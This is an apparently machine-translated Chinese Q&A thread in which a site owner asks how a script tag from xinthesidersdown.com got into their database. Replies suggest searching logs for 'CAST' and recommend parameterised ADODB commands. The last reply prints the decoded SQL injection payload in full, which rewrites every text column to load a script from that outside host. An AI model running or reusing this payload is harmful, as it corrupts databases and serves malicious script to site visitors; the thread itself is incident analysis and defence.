2012-08-01 62 views
1

它似乎有一個<script src="http://xinthesidersdown.com">被注入客戶端服務器,我已經檢查了日誌以查看注入的位置和方式。不幸的是,當我搜索xinthesidersdown以查看它是否被注入時,我沒有看到它顯示任何結果。有沒有人有任何建議,以瞭解入侵者如何進入並將此代碼注入數據庫?謝謝。搜索SQL注入日誌

回答

2

尋找在你的日誌條目單詞「CAST」 ......

+0

找到它搜索'CAST'謝謝。 – 2012-08-01 13:21:34

2

我有同樣的問題。

我們媒體鏈接有多個數據庫注射前 - 但能夠阻止他們的感謝與ADODB命令執行替換正常打開的記錄:

例子:

前:

szSQL = "SELECT ...." 
adoRstM.CursorLocation = adUseClient 
adoRstM.CursorType = adOpenStatic 
adoRstM.LockType = adLockBatchOptimistic 
adoRstM.Open szSQL, adoCon 

現在

Set objCommand = Server.CreateObject("ADODB.COMMAND") 
Set objCommand.ActiveConnection = adoCon 
objCommand.CommandText = szSQL 
objCommand.CommandType = adCmdText 
Set param1 = objCommand.CreateParameter ("nMenu", adInteger, adParamInput) 
param1.value = Cint(nMenu) 
objCommand.Parameters.Append param1 
Set param1 = objCommand.CreateParameter ("nSubMenu", adInteger, adParamInput) 
param1.value = Cint(nSubMenu) 
objCommand.Parameters.Append param1 
Set adoRstM = objCommand.Execute() 

但是我們不得不將它替換到任何地方!

我現在檢查我們的網站 - 如果我們可能錯過了一個。 也許這可以幫助你......

2

要在Einav的回答闡述(我和她一起工作),注射有效載荷是通過使用模糊CAST函數將十六進制格式負載轉換爲實際惡意查詢字符串,然後由SQL exec命令執行。通用注射格式可以看到 here

在這種情況下,具體的有效載荷翻譯成:

set ansi_warnings off DECLARE @T VARCHAR(255),@C VARCHAR(255) DECLARE Table_Cursor CURSOR FOR select c.TABLE_NAME,c.COLUMN_NAME from INFORMATION_SCHEMA.columns c, INFORMATION_SCHEMA.tables t where c.DATA_TYPE in ('nvarchar','varchar','ntext','text') and c.CHARACTER_MAXIMUM_LENGTH>30 and t.table_name=c.table_name and t.table_type='BASE TABLE' OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN EXEC('UPDATE ['[email protected]+'] SET ['[email protected]+']=''"></title><script src="http://xinthesidersdown.com/sl.php"></script><!--''+RTRIM(CONVERT(VARCHAR(6000),['[email protected]+'])) where LEFT(RTRIM(CONVERT(VARCHAR(6000),['[email protected]+'])),17)<>''"></title><script'' ') FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor 

希望有所幫助。